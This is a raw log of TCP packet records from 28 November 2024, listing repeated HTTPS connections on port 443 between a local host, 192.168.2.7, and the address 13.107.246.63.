Nov 28, 2024 10:06:24.819350958 CET	49954	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.819350958 CET	49954	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.819374084 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.819384098 CET	443	49954	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.822320938 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.822381973 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:24.822474003 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.822599888 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:24.822613001 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.004868031 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.005422115 CET	49949	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.005435944 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.005881071 CET	49949	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.005884886 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.237399101 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.237417936 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.237474918 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.237494946 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.237829924 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.237843037 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.237852097 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.237955093 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.237982035 CET	443	49955	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.238029957 CET	49955	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.242537022 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.242573023 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.242639065 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.242927074 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.242944956 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.376095057 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.376590014 CET	49956	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.376616955 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.377051115 CET	49956	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.377055883 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.503865004 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.506928921 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.507000923 CET	49949	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.507060051 CET	49949	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.507071972 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.507081032 CET	49949	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.507086039 CET	443	49949	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.512543917 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.512600899 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.512676001 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.512981892 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.513000011 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.824795008 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.824886084 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.824942112 CET	49956	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.902148008 CET	49956	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.902184010 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.902198076 CET	49956	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.902204037 CET	443	49956	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.905196905 CET	49961	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.905229092 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:25.905297995 CET	49961	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.905683994 CET	49961	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:25.905697107 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.034923077 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.035562992 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.035645962 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.036045074 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.036058903 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.484087944 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.484110117 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.484160900 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.484180927 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.484476089 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.484493971 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.484504938 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.484673977 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.484707117 CET	443	49957	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.484749079 CET	49957	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.487128019 CET	49962	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.487188101 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.487251997 CET	49962	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.487509012 CET	49962	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.487525940 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.601677895 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.602431059 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.602461100 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:26.602938890 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:26.602946043 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.046945095 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.046964884 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.047020912 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.047049046 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.047398090 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.047414064 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.047418118 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.047528028 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.047553062 CET	443	49958	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.047601938 CET	49958	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.050376892 CET	49963	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.050404072 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.050481081 CET	49963	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.050605059 CET	49963	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.050616980 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.087259054 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.087816954 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.087845087 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.088263988 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.088270903 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.302220106 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.302628994 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.302658081 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.303190947 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.303196907 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.540072918 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.540090084 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.540158987 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.540179968 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.540435076 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.540452957 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.540467978 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.540556908 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.540580988 CET	443	49959	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.540638924 CET	49959	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.543225050 CET	49964	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.543251991 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.543329000 CET	49964	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.543474913 CET	49964	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.543488979 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.750577927 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.751231909 CET	49961	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.751247883 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.751704931 CET	49961	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.751713037 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.755156040 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.755176067 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.755259991 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.755295992 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.755462885 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.755481005 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.755489111 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.755597115 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.755625963 CET	443	49960	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.755661011 CET	49960	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.758254051 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.758277893 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:27.758377075 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.758533001 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:27.758546114 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.205502987 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.205579996 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.205632925 CET	49961	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.205822945 CET	49961	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.205835104 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.205845118 CET	49961	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.205848932 CET	443	49961	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.208996058 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.209017038 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.209081888 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.209218025 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.209229946 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.268528938 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.269011974 CET	49962	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.269037962 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.269581079 CET	49962	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.269586086 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.715647936 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.715725899 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.715770006 CET	49962	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.715934992 CET	49962	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.715955019 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.715966940 CET	49962	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.715975046 CET	443	49962	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.718741894 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.718756914 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.718833923 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.719027996 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.719039917 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.765516996 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.768234015 CET	49963	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.768245935 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:28.768656015 CET	49963	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:28.768661022 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.200845003 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.200896025 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.201030016 CET	49963	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.201225996 CET	49963	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.201236010 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.201246977 CET	49963	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.201251984 CET	443	49963	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.203819036 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.203831911 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.203902960 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.204019070 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.204030991 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.258959055 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.259485960 CET	49964	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.259500027 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.259953022 CET	49964	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.259957075 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.562046051 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.562541962 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.562568903 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.562984943 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.562988997 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.813352108 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.816389084 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.816468000 CET	49964	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.816514015 CET	49964	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.816529036 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.816540003 CET	49964	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.816544056 CET	443	49964	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.819319010 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.819375038 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:29.819438934 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.819586992 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:29.819601059 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.011787891 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.011807919 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.011883020 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.011893034 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.011934042 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.012156010 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.012159109 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.012173891 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.012284040 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.012309074 CET	443	49965	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.012355089 CET	49965	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.015007019 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.015041113 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.015117884 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.015274048 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.015286922 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.026272058 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.026789904 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.026813984 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.027278900 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.027283907 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.434509039 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.435018063 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.435049057 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.435503960 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.435509920 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.489475012 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.489506006 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.489567041 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.489582062 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.489609957 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.489785910 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.489804983 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.489815950 CET	49966	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.489820957 CET	443	49966	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.492677927 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.492727041 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.492789030 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.492938995 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.492952108 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.917834044 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.917859077 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.917876959 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.917946100 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.917963028 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.917995930 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.918029070 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.974138021 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.974791050 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.974869013 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:30.975317001 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:30.975331068 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.067284107 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.067368984 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.067384958 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.067405939 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.067456007 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.067498922 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.067504883 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.067516088 CET	49967	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.067521095 CET	443	49967	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.070075035 CET	49972	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.070097923 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.070183039 CET	49972	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.070326090 CET	49972	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.070338964 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.499447107 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.499471903 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.499526024 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.499555111 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.499725103 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.499912977 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.499932051 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.499943018 CET	49968	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.499948025 CET	443	49968	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.503509998 CET	49973	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.503556967 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.503663063 CET	49973	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.503854990 CET	49973	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.503865957 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.711910963 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.712683916 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.712707996 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:31.713064909 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:31.713071108 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.179274082 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.179682016 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.179725885 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.180322886 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.180329084 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.183032990 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.183052063 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.183113098 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.183125973 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.183167934 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.183377981 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.183382034 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.183394909 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.183510065 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.183533907 CET	443	49970	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.183564901 CET	49970	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.185877085 CET	49974	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.185909986 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.185980082 CET	49974	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.186094999 CET	49974	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.186109066 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.394568920 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.395256996 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.395287991 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.395668030 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.395673037 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.679716110 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.679735899 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.679749012 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.679853916 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.679887056 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.680083990 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.680083990 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.843638897 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.843664885 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.843755007 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.843770981 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.844024897 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.844037056 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.844044924 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.844182968 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.844211102 CET	443	49971	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.844252110 CET	49971	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.846693993 CET	49975	443	192.168.2.7	13.107.246.63
